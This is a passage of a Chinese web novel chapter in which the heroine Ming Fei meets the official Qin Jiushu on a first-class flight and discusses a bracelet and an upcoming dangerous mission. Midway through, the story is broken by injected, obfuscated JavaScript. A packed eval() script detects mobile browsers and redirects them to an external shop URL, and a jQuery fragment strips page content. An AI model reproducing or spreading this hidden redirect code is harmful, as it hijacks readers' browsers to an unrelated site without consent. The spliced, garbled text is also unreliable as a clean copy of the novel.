明翡知道,现在怕是整个华国的天眼系统都在严阵以待,但凡她一回国现身,立马就会被捕捉到踪影。
虽然能不能真的找到还两说吧。
她倒是完全可以给自己换个全新的躯壳,彻底让“明翡”消失在这个世界上。
不过在照镜子时,她仍然对目前这张脸这具躯壳十分满意,暂时没有更换的打算。
所以还是抓紧了结眼前的这一切吧,她可不想在夜市撸串的时候忽然被人找上门来公事公办地念出经典台词:明翡女士,我们有一桩案件需要你配合调查。
她设想着那个画面,没忍住笑出了声,顺手将墨镜一戴,上了开往机场的专车。
……
“先生,您的咖啡,请慢用。”
乘务员将一杯新鲜研磨好的黑咖放到秦九枢面前的桌板上,微笑着转身走了两步面向过道另一侧的座位。
“女士,需要为您准备毛毯吗?”
“不用了,谢谢。”
轰——
宛如一道惊雷在脑中炸开,秦九枢正要去捏杯柄的手指猛地僵在半空。
乘务员已经离开这片区域转而去服务其他乘客,头等舱座位留足了个人空间,犹如一个个装饰豪华完备的格子间,他只需要稍稍一倾身越过挡板,就能看到旁边座位的景象。
可在这一刻,在听到那道陌生又熟悉的嗓音时,他忽然有些迟疑了,近乡情怯般地怔愣良久,迟迟没有继续下一步动作。
这个声音……这个声音……
在数天前的酒店露天咖啡馆,也是这个声音对着侍应生点了单,打破了那片持续许久的沉默,令他下意识抬头侧目。
会是……她吗?
天知道秦九枢在这短短几秒钟内预设了多复杂的心理准备,正要压下心底忽然漫上来的紧张、期盼或许还有听错落空的失望,不动声色转头看一眼隔壁座位时……
熟悉的、魂牵梦萦的清冷嗓音再度响起,而这一次,是对着他:
“你选的什么套餐啊?看起来有点好吃。”
他倏地转头,对上一双清凌凌的、含着微微笑意的眸子。
这是他第一次与她目光相接,第一次直视她的模样。
她的眼睛瞳色并非全然的黑,细看甚至是偏浅的,宛如银色光河与深蓝大海交汇在一处,融成了这样一汪动人心魄。
自出生以来,秦九枢破天荒头一回意识到自己是个笨嘴拙舌的人,竟然在那双眼睛看过来的瞬间局促难安地张了张嘴,千言万语堵在喉间滚了又滚,最终只讷讷回了一句:“我还没动过,可以给你。”
“噗嗤”——她似乎忍不住轻声一笑,眼尾弯弯笑涡微陷,漂亮得不得了。
“我才不要你的。”
她按铃叫来乘务员,指着秦九枢桌板上看起来色香味俱全的中式四菜一汤附带餐后水果甜点的套餐说道:“他的套餐同款给我来一份,谢谢。”
“好的,您请稍等。”乘务员微笑应着,忙去准备了。
明翡便又将目光移到隔壁座位的男人身上,发现他一直在看着自己,眼神压根没挪过。
那是什么眼神呢?
惊愕?探究?好奇?敬畏?
好像都没有。
就那么平静地注视着,像看深山里最高的那棵树、海面最深邃的那片蓝、天空最明亮的那颗星……是世间最美好无瑕的,也最高不可攀触手难及的存在。
他像是做了很久的准备,却又泄露了几分被巨大惊喜砸中脑袋的艰涩局促,朝着她露出了一个很浅却很真挚的笑容:“你好,我是秦九枢。”
“明翡。”明翡回道,做足了社交礼仪。
秦九枢略微思忖一瞬才说道:“日月同辉,山川蕴玉。很好的名字。”
耀眼至极,高华至极。
明翡笑眯眯赞同道:“我也觉得。”
普通的名字也配不上她嘛。
她目光一晃,不由多看了眼秦九枢的左手手腕。不同于一般事业成功的商务精英男士习惯戴的名贵手表,他手上戴着的是一串黑曜石手串,造型做工其实十分一般,特别的是其中夹杂了一颗金曜石打磨而成的小猫咪点缀。
即便如此特别,拍个照上某宝搜同款也能搜出一整页某乌量产的工厂货。
和他那身私人定制的着装完全不匹配。
明翡战术性轻咳一声,当没看到那原价不超过四位数的手串,支着下巴煞有介事地问道:“秦先生,看到我有没有很惊喜?”
省略了你来我往的试探伪装,这句话等同于直接把彼此的身份摊到明面上。
说明白点,就是明翡明知道这群人都在满世界地搜寻自己的踪迹,不管是想查清她的来历还是想寻求她的帮助,总之用尽一切方法都找不到她人。而她却在别人因此焦头烂额/日思夜想(?)的时候,就这样大剌剌地现身,并且毫无铺垫贴脸开大:惊不惊喜,意不意外?
其实挺欠揍的。
可惜没人揍得了她。
“的确,”秦九枢深深凝着她脸上轻松惬意的笑容,“我很惊喜。”
“那么,你还记得欠我的东西吗?”明翡再问。
秦九枢微微颔首:“记得,我一直在等你来取。”
——救他一命的“代价”。
明翡满意地点点头:“很好。那我希望,你在接下来的日子里,都不能向任何人透露你见过我。”
“没问题。”
“……”答应得是不是有点太干脆了?
明翡狐疑地将人周身上下扫视了一遍——这人还是国家特殊部门的高层管理吗?怎么看起来那么有做二五仔的潜质?
她说完这句话就没再继续了。
秦九枢却有些不适应,且为自己仅仅只是应下一个轻飘飘的承诺就还清了救命之恩而感到不自在。
虽然他答应了就一定会做到。
可还是太轻易了。
“这个手串,是明小姐送的吗?”见两人之间沉默无话,秦九枢迟疑了片刻,终于还是捡了个话题。
他微抬了抬手,露出腕上黑曜石手腕的全貌,那颗夹杂在一圈亮黑石子里、光泽流转神似猫眼的猫头状金曜石显得格外突兀,仿佛将冷沉淡漠的精英大佬都给衬出了几分可爱萌感。
更好笑的是他居然就这么毫无芥蒂地戴出来,还大大方方地展示给人看。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779908|209820||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
也太不见外了点。
明翡回答得格外干脆:“不是。”
想起来有些怪不好意思的。
在路边摊随便买的几百块钱的小玩意儿,她当时挑了好几串,其中一串白水晶颗颗打磨出圆嘟嘟小象图案的这会儿还戴在她手上呢。
她不着痕迹地用荷叶边长袖盖住了左手腕。
随后开始反省,给秦九枢送这个手串的行为是不是太冲动了?
谁让他当时在酒店没找到自己踪迹时的心念太响了!
世界意志偏爱的气运之子,本身就比其他存在更容易吸引她的注意力,她隐隐约约感应到了一股莫大的念力朝自己汹涌而来,就像神明接收到了狂信徒最纯粹、最炽热的信仰之力。
一个没留神,随手从手边的物件儿里选了那串黑曜石手串,权当给“狂信徒”虔诚祈祷热切供奉的回应与施舍。
你说这事儿闹的。
察觉到明翡并不想多说手串的事,可异常迅速的否认反倒泄露了真相,秦九枢垂眸,微不可察的笑意在眼底悄然漫开。
空乘将明翡点的餐食送来,她便完全忽视了隔壁的男人,专心致志品尝起来。
实话实说,头等舱的配餐标准也算不错了,可比起明翡平时爱吃的各种新鲜出炉镬气十足的美食来说,还是缺了那么点意思。只有水果和甜品经得住保存锁鲜,还能入口。
她吃得兴致缺缺,秦九枢注意到了,眼神微闪,却没有多说什么,只在心中暗暗记下了这一点。
——喜欢美食,且对口感味道要求较高。
有一搭没一搭地叉着水果吃,明翡旁若无人头也不抬地来了句:“你们下一步的打算是准备去白国吧?”
秦九枢毫不意外她的“全知全能”,听她并未刻意压低的声量,眼风淡淡扫过机舱四周,见正从过道穿行的空乘和其他座位上的乘客并没有表现出任何乍听外音时的下意识反应,就知道这番对话只有她们二人才能听到了。
他便也没有刻意放低声音,不疾不徐点头道:“这两天在做准备工作,三天后出发。”
明翡完全不关心他们的任务流程,而是转过脸来,并不掩饰神色间的兴味:“有什么想问我的吗?”
一次情况不明、生死未知的危险任务在她嘴里仿佛就像一场失败了可以无限回档重开的游戏,或者说,即便失败了无法重来也和她没有关系。
她只是这场“游戏”、这处人间的看客。
而现在,她对“游戏”的态度似乎是偏向正面的,起码愿意主动透露一些他们想要的信息。
秦九枢沉思许久,终于还是问出了那个盘桓在他心头、甚至是盘桓华国高层、特调部所有知情成员心头的问题——
“这次任务的结果,是否与华国、乃至全人类的命运都息息相关?”
明翡勾了勾唇,微泛涟漪的眸子与他幽深沉静的目光坦然相对:“是。”
“所以,你们最好成功。”她说。
毕竟她可不想看到一个衰败荒芜的人类末日世界。
莫名的,心口一块巨石落地,秦九枢也跟着她微微扬起唇角笑:“如果这是你期待的,一定会。”